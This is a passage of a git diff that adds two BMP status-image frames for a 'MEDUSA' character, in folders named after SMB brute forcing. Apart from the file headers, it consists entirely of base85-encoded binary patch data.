0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce13.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce13.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a47321891dcb284824ca1c75794c9a9b96e5431e GIT binary patch literal 18462 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 KOgdk=@_zy0siRl` literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce2.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..b68803ad8ce1bbc8dceca07f4140ba2d711b707a GIT binary patch literal 18462 zcmd^`cU)9Sw)mO1`*vq%XWq={IHMzq3P{dK?54>ybdx0KC>hBanoiJU$)MycIZ0N@ zDk@0MNfadqku3D9?sjX-KYWP5L?BSeFNY8W@*DYBB0~NI6=DA(zg+#B3&Gcq z*MKJea5rI8RK)*pjz5KUf1kL&N8I1p-&xz+nE$XgwYxmBv)H#i-@P^4u`~N@d!}vc zZQJIX$6Ie60oi=>Xk+@(=JcbDH;*^pJlT9pD&3xWwl(`=YrcDDv43Y}ba(C5-sZyo z?t7q?NYcOm$4&CNtowUAyPHc}%VV2w+SVp(*M^JM`m^8lrmc1-u5`t(bjAT$ei66a z5x?3QztVM^B%OCY%8NTIzmjEAe*6lk+#U}u0SS_TobII6p7hoJoYmoywTb&1Z=Y?h zOzv*3?C*d0Jnqk8-FY|texiD{KV!K&VHH4h-&yTSTqSia`4>r9=}vyvm$osOvDTly z(w*|IH+2`gWtn_ESpM0>h zKKB{8CuiN?+g=?iSa}h(3P5{P-huA-rjgDhNjZ?6(X55%cLpj$rdndQ#OL?oI(k8$+2B^-%*=q05~q+rwF)h*aUDkOu}RCk+okzq8U2u{vJ! z89se-Rw9U?cQ4n*D^~k5S9-wEC%o%Pd&5_LYev+lv2T3LbveuurHIms^6=nq&6*|u#e3@1LDtk?=`{qz4Y4Awn0pJo> zUL;WLy401l(wDV1S+lb~`ya6@rIG#pz1@wu?WN(3w{7c_b?-+?-VJ1v4BVZxJDQ#w zc$1HYDLOH$y0bqizfSU+x~>p(`ceE+XVOet{Oi`Z>DIWnZMT7$2dctk7-MXf-NmQ7OT9ZQV>_FRpJ7o-pFhX0za3J5y|=Tz zx3vO>dwXSUY2v90pOBkNQt87z0=~=Lwn|eHOaIpk2qsQNwrlXKoYM5{K;Tz7lsWh$ zE;BRyo!(F(!riVWIH<3pdB;%8!%A6xbG~J3o4vA!AV<;U|AmlT6O?201nGEZee$#0rF z{?|W`m9heMwzaE?$O(K$kGRaO#s<~mlGNl9S7#Tw&Mc_F$S2RhD@VsAOUofk$AO^d zl4syiWad+55maRpQDYZXXA`~7BqVm0h2<-1b0xjpge*%{1Ny(6SK>#Rs8kp#+EB2E5X0tiX7@00=?H3E<>t zIc2YK$XsTZqG5&pNDuqzDww%suCU3{vcqXPc)z0&zrd`)DWt^>(cpl>uW-PAVh}yY z1Uq|G`ZA}?6&^8a7IA78=_}mg)XcDRjNq%#8G4?xbY502D@)7AH0__qy0N}tjL;A} z$E?dG4zK_pf{qJG4}@FcDi1iz(sD{&WaImW=Gxb^JYQWF`0lb44I3B?*f}QFzn?c3 zm2^{9bd-~GK_H!Ek?u-LuJTBCd88{6=^zJpS5|P5M>xpIcq%En$s^t5<&6bJjRb^w zzq^2U^8WDQ1MwI$)@QSl-DYuaF(*DX!q>m9sJuL%{KrL!^So|KcJ^`>LZ?}|{z(J*k%8kY8iv382tCgn<>HYW8k!Rn z?bbz>im@&U31<3IPw4xy%8lC9%p~<>o&{$M~1Cy#I5B z?QcILXhpC(UjF*N1VfCsnv?8hh$52&(_ep?4 zvhvn)3I@Uw+5%!$a!N*`aP@0YbGW=E9BCnoydf?N{D%D>=e5NY=iZW6+#>_`53nYN zL_@FgJ(`-X?c8>;8Rh$40CAa1k?|UcMUH=55IjRKevy^?Ya0Gj%pyN?(^H+1ql4o0 zQFvV+jBOakGSFYo2czSOH}H|A6V??_#Tobr{>UNE$my@EZV#7nltbFXkq$BlducgG z8HAHG++Iq`L0Z}wj&PKbbA%(DW#yb?WO16R*5c9}fBz{O7Ya;!^d$9ptoy|6&23`^ zbzgMYD3SPJaG!wNk)+drouLys!@&9F1&)8vuzz)d{mb)W)O_9=t_DJCLO-&jwLSgx ze6ZFb=)gj>UoO@v7-#B-(?_`~**eNw2buaA32RASV0KnO1Y&IR%Y9RF>{7BFQ?eY= zvfZ-s@OO&>^NI;s`JNfMu4y?S-##tV(?vzuO-@$+3Y&$Z{@&i+(VqNytVH7K(yE3C zG9kTWcy})4nSkEaWIqQJXK86I4gn=jv5#(iIPd4OZf|Z`T-Voz zYnUqPb9{AyKG-2`<6} z0?;CCa3MCd7>`cJ==oxFeDHcGFLf7z(~P!~GB_vGmY4q3eRiF5spFdslRHgaGZjf0 z*zA&!p_TjN+x27HEuD**Et4Mc;m&~7L_kD>hT~wlJ&g8qS%JPVFMnF9Z(0BH6ZbcC z>|b4C{rg2zsE)rO8msH&h_D2%3k(KkB8;vV8dy%(2kViD2`R<~7GOz6Ed;C>3a(QO zTH6b2d&>`%CQ2haRs~xZ!SS=dgs+-ztEUSz0bTIaHGi&M2n*2~dw$s?V znpfGSm0O5$k(0B6iHZNrl#`Ho7$qhD53oKguVek@g1`?f=HmLS|Gc2aiSReTV6;6k zI$n6-t~%Zr6F;<1imz=LR?`D(9SY0|KyiRIFdrM3hYiXnnKq;dPsqiX2cq%WelgWZ zL3LF&Zu{$swe8_e6CRU04LvjWw4}uY18v_DTc$rWVZ6=tkdl2%Rg=39t2?zzAG&#{ zsoF_MN?%~aJNW$DSbLsz@=-I`!cD!@ogrsAywzQCx+she3ajIT)$+m^V$t{lBy)+!_X!K;!uH}tg z>x|>$d8gJ{r zy-A1{9(JC`Umt_j_r)0dVYIz*hB&g*7UL~LvEC_Uqy8GVfP_vK()vo4kF0>3JS~%k zC#VQ|iQh(C{3cQ^2xS+FvJFMqgrKZ}g!$TpqO3xFEkn>2p*ZUh99W+%!w6PRMruw7 z8A}l{$f-*S!7+gKupPz8?Yg_OyR*Hc!Y8f8qew8oqD}pMebcb|XpCdDZ*UPhxESx1 zg7MD<)*{(2-~bV%flC(w6N1H+w8RFG1QT3? zN1Q&&zt#Gu&xr0mtDl|L_D zfifKl1rrf1S4BHFB?r8Y59a1AU{^G7Lg2K(MM-}9f2`P`V*l_;LPQl1d_)B{xEM@8 z{*hJwk(D5g4KDGEsPqr7@{gzllQ5aS$Ty$}7g|n;stO=UbwG3_0Z3F8!7)0(2um=+ zg_#E_GKizCU5~)}WYGzI7(}YAhOq`0BFMxK3zkwXFYL{542hNEmcV8d*Cm+~8&rY` zD$%>{AbU+o5vF6L?cw8}izeh+n4ql9@qo+|ovx?qC=bz+y{2rc=Zy_51J(sr2gdd# zkOa5__=*ZD@D0cX69bs)(OO<$$0BBlXJ^_WeuzP_qwZZWZz!})aKcYG`u1CvxGM%td}3K4p1UNjMiGBDo1@z=f3u#MTDI-4BSa#e|l56AFERuY?p~ zEQ3i~6m4&C?+ZK2l^&Hqf;h(Gh|glBTvU};0z1dyr-#CUl~vmZ>z?2nR1_Ff6QAA~ z5mDgh6NB*x55V3Di!2R^D6-af<~z$`Zios*rQyv8j+(C5Igv_Swu+qQYP3X3TZxmDngj>EX$^7D<4j4p~xZvqaF3M#}oMBy}j@CImZYNCwv?tcr&wS}oWFmZ7^^HHrVfqH@bk|N2rIQR^0K$Y2ZWd5aoK46U2IsHFdZ~D zx!BVUC&dnK2zBjEoZM`DtaWX4WK{IvT45pSQK=0W-*lX9WS~Wm2}Dzvnl&#WbEv!j zckfw$Jq*WVrOe`e9o?+oQ?q|XBlrWeJUxtHN3KuY-NhlkkK93 zA`a~k%bL4$DqCxxcJ(i;yja{XYg~$s&lhJF@pSgPmC}GgrDF9^Vn1^WpJ8YC>rWz= zIcKM5NHj-2dO5&79xGYh{)gS&jOawc^K4csj*cp>XkDzocbb!16#rT1-HM5lYGP{Y ze*Eo6l0u@)Ur}>?cSRGaS=!V+wnt3LDVO3By%m`k9-fKdl~jXiszB6~Ac)(EWjO3@ zX>PHS#^)nD#Ejy4d6*pg*EG!ETu_oxNKPF{N#3h!BE}>><~t|ggU`Ub-0{}*ankTK zk~I^#%vD`je!y{@#IadP%E%MJ?Z9xJvn(DCQT`rD1dkLYacy})o94m&$K!i>6=VEY zc;Os^&`a!B|LY75)jyE}(ruG7!`u6bS*2YJ-y{2h}IF2?X!-n>X;> z)QrU$cMrOB98gf_M6AE)BshApouc>fOb8Axkz^9rM+SGy6Nf$!{rqAtQ+=b%DKHoF$L`rZ?}mq;?OMtm{5(X+JOzeXI{Ci>%|FH(IC zF1bYYoeYx@oJENCzrRn&C>i-cY#rN2^4TasRYSw?+1(6bJWZVzbsO~Mu>H|5-Tdw6 z30W!Xw>G!DOzog_LWEnzVvJ%&O3^RoiTxWyM{6`a)oJ=K&M^M>PkK_y+F}YX;=CZ4(0m z?f^s5|JNBiP1Cj2cMG%gx}u5+=@kR(L@*d6&;?@mN8J7H`H!qG=Jp3Sh&Wt~y|(Gb z`}OIUuhn4)poH=7XOpt;0oK+LqMU%ElDIm8|GKZG6R8g;Sym7F{JE^)ZYL=?hVy^u zxxZ)7L&Q9NP3(P7Z0Mg9V;BC3>Mu?@X73i4yIR{k%spDir@NOwf>Kz!=7|8b>lapF z-QE>qZTqmdrN_&m;knmuHDPi;QhlK!dj08}Rg&61B9hmY=SN2F(+u}=iVymJ(!^)6 zE-fs%8ri@uaIk$zO;7c`u5@h62(f2qaPP>g;_-GAczr zI`ABDX<{e&3=))d&k8ZCv=QTkvs5w=zQSg#ZTfIvw10EIZ)30KDG|x#Mo;xESnk9w z^8~tKKoFf26x2ThCLF5D}+Pkh)ztRLJiX&NtX z>U;8Lt#_T+y-EbQeL&Vo(*K^=w@MN)C6O|LfC{TbV0%!xWpbh5VQ*RM%f_Mox(;GN z4KXwSLwL}8IEytM)pyK)J8!^;;5>8bQGFBW`+sC^sx7UOzH%+b+RIQ7DSn=d_d6zm zAH-l6_2oD`)nG9u*Gue7pZK_p24JVdf@Wi4mlKlTr)F+s=56N`?&Oy2-Ywn9DcQMO zypvt9lW}(|HDf&?X)P*xDKub)fSLAm8nQ8NHB>B6fri6bouSlP;5X}Q-!VyFiJKwl6+@kcwFQn`yG3qSS!~EGv{zK7p#VBWfpGk5`M$!_D#4gh5we?ofiL|f_Ft~x$ zF+yqR`Dp6k^bNJRg^dKo@cM?{>e?U^6a^TX-!i}HuA~)Z>6GDx%f$thhKAQCB~?bp zIw5pSp~z@!H?)cYPR%&l$`yK^{nf-2iSu|{!-EkyDJ%KHwuV-|bM&dMm=FW&KwWc` zs*#zDy0wh@!_4^pmcs6bc|8yFyC3A)A(VA_#ET+B1{+IyYV&&P@_MQZ2!@u(OV{Kt z^Tj*4_uVh-zMt1sn>W~0nvC{QXN92j^aq-Ydw_=eyusF@;;3LtDRmQx>o{$5KP{68 zGy5njSN2iC}+kzdWlzOA^8H)kPIn5qoJhyw;5rFWenZzw+R? z!TPe1w$g#7g5HMQ?uU1yT^(>n=9S4|JrD1;*JSiJ=f!$D!_KpLXqnxV*A_j`nir1m zZOm=2&giMn&5QIy8{A07y7x8Zfy)P)3rC-p_f!`b`bXXN#3#9-QL2Wv5~@gg0rsyh znks8GRMZ_9?3jt;u~I;%MqipJsLSvQYszX!&~Q1)>Rx9Mft+GgViCR}s_3Mo7vqD! zmzL37TKw#OWp_(m-{ZQ@#)`4_ha*pGflT!_+>HzsImezB8jm%17Qe(*my# z!$w3|!}v=c1Q64HUJX4Nm6dKIS{k5N_(4=|YgFXSU?q2 zS%r1^#8f#UN~}W4Y*2MxNlgK`E>uAWrlcpTY$&c`B&nt^uEO%wg;;DTcoVc6WFGVMIQ$ju68E*wq z2CShbH}Tr0d4af!*xb3ZNU|d~K+8t*EGJgW%u87}-pQ#j%&#gTvNR&#d0EP6OW{ys-bhoyNOR#( zbHU5@dydMQu7yy4cO*4*1=kwN!vM-+tO zBCKzEtLS?w8%Uky3O9DSZR;a@i5Km3r=)Z|C$p!#Y^;5BPE$_JNKS2Yee-v%`+Kb5 zH!5>w9Syij$M{Nd{&0SFf8pJMqP&slkZM_4p%_cIWP7waGt3I6Owch4F|o`K!ZhTh z_O>)MWF~Y~XZGID?y1e{uFLMM$sB4abWqaB4#tnRl>>=%cEXw50C1hPSzUG6UA0-g z5ASx|ORLXG?rm+XNs7x2K;v~xf($Hmxg?GGQ(MpsQnS6xEfuk0c?6#flov+TFv!4K@*+nj4qp`= zY=BE!>$kFT*EX5b@O$#3b*;uLpQ)9!CB9C_AYAfl9*kUdW%jx23Aw7$yA>dwF0cQ?JaV`R8axb?K&H;JU^}6uxU}4TcNq&Fl*vixnable~y-RF-(y729 zIo92=JTun&yhG$7Td0Low6$|xYJ3(3-H@F=+1){DdF%bkNLv*MO56=II|UVcq?Q>> z!2l)`<>n0Hc>G2E&NeC9KJ4s{Jbzqy=XQR8e0eSL&ZW_S`seJnOiO<1PmVbj3Vr={T`wFy!AK_PEP!8<{u z?W>+vZlBjZ#mmB*pxAyB>UuS3Z+;4gt zc`HegQ*3JkxX7nhpTk+J3(BA@ob`_<3iC!Ps>UbQKTK_rK!IHsiNsf9Qy6=9u}i!n zG@SM2wL6>Z4~p~jVKPjoepbIGo=pgjuyn$ynT&LFAE3-nb_d_I_R!LQ)lo6}sKi`W zIoZ#9`R&+2g|@2u-U>Q#4jw5OKPh@%mhaD7E2uqrP`$Uin-iNN_%o{n-L*)3(A@08 z+#VTsllW>I#O_vc@gP`*%Br3TTw*%ncJFZ3c>f4FUdfi{vv;!xo((PmhnXaS?t^#G zpSM1f;uO@BkX7ImWBC%?lF5T-PtXf&{;uBbO>Ks7b&)G<>7loB384w@n89Z+w$|4d 